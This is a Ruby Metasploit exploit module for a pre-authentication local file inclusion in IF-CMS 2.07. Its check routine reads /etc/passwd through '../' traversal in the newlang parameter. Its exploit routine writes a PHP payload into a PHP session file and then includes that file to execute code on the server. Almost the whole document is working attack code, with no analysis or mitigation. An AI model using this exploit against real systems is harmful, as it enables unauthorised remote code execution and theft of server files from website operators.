If-CMS 2.07 Pre-Auth Local File Inclusion Exploit

##
# $Id: if-cms.rb 2011-03-15 20:28:10 tecr0c $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

# -*- coding: utf-8 -*-
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ManualRanking

 PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'        => 'IF-CMS',
   'Description' => %q{
     Local File Inclusion vulnerability within IF-CMS 2.07 which allows
     remote attackers to include and execute arbitrary local files via a ../ at the newlang
     parameter within the index.php page.
   },
   'Author'      => ['TecR0c'],
   'License'     => BSD_LICENSE,
   'Version'     => '$Revision: $',
   'References'  =>
    [
     ['URL'     => 'http://sourceforge.net/projects/if-cms/'],
    ],
   'Payload'     =>
    {
     # max header length for Apache (8190),
     # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
     # minus 23 for good luck (and extra spacing)
     'Space'       => 8190 - 23,
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
     'BadChars'    => "'\"`"  # quotes are escaped by PHP's magic_quotes_gpc in a default install
    },
   'Targets'        => [['If-CMS 2.07', {}]],
   'DefaultTarget'  => 0,
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'DisclosureDate' => 'March 15 2011'
  ))

  register_options(
   [
    OptString.new('URI',  [true, 'PHP file contains the vulnerable parameter', '/index.php']),
    OptString.new('PATH', [true, 'Path where the php is stored', 'var/lib/php5/sess_!SESSIONID!']),
   ], self.class)
 end

 def check
  urltotest = datastore['URI'] + "?newlang=" + ("../" * 8) + "etc/passwd%00"
  target_code = 200

  print_status "Attempting to POST to #{urltotest}"
  response = send_request_cgi({'uri' => urltotest, 'method' => 'GET'})

  unless defined? response
   print_error 'Server did not respond to HTTP GET request'
   return Exploit::CheckCode::Safe
  end

  code = response.code

  unless code == target_code
   print_error "Expected HTTP code #{target_code}, but got #{code}."
   return Exploit::CheckCode::Safe
  end

  print_status "We received the expected HTTP code #{target_code}"

  # We will need the cookie PHPSESSID to continue
  cookies = response.headers['Set-Cookie']

  # Make sure cookies were set
  if defined? cookies and cookies =~ PHPSESSID_REGEX
   print_status "We successfully sent a PHPSESSID of '#{$1}'"
  else
   print_error 'The server did not send us the cookie we were looking for'
   return Exploit::CheckCode::Safe
  end

  # Check to see loca file inclusion is possible
  if response.body =~ /root/
   print_status "We were successfully able to validate gp_magic_quotes = Off"
   return Exploit::CheckCode::Vulnerable
  else
   print_error 'The webserver seems to have gp_magic_quotes On'
   return Exploit::CheckCode::Safe
  end

 end

 def exploit
  uri = datastore['URI']
  # Prepare PHP file contents
  encoded_php_file = Rex::Text.uri_encode("<?php #{payload.encoded} ?>")
  urlpayload = datastore['URI'] + "?newlang=#{encoded_php_file}%00"

  # Deliver the payload
  print_status('Writing malicious payload to the remote server')
  delivery_response = send_request_cgi({'uri' => urlpayload})

  cookie = delivery_response.headers['Set-Cookie']

  # Make sure cookie is set
  if defined? cookie and cookie =~ PHPSESSID_REGEX
   print_status "file containing payload is 'sess_#{$1}'"
  else
   print_error 'The server did not send us the cookie we were looking for'
   return Exploit::CheckCode::Safe
  end

  # Make sure cookies were set
  if cookie.nil?
   raise RuntimeError, 'The server did not set any cookies'
  end

  # Contents of PHPSESSID. About to be set.
  session_id = nil

  # Retrieve the session id from PHPSESSID
  if cookie =~ PHPSESSID_REGEX
   session_id = $1
  else
   raise RuntimeError, 'The cookie PHPSESSID was not set.'
  end

  # The call should return HTTP code 200
  if delivery_response.code != 200
   raise RuntimeError, "Server returned unexpected HTTP code #{delivery_response.code}"
  end

  # Prepare the value that will execute our payload
  detonation = datastore['PATH'].sub('!SESSIONID!', session_id)

  # Small delay as we're just going to assume we succeeded.
  urlsession = datastore['URI'] + "?newlang=" + ("../" * 8) + "#{detonation}%00"
  send_request_cgi({'uri' => urlsession,'method' => 'GET'}, 0.01)
  handler
 end
end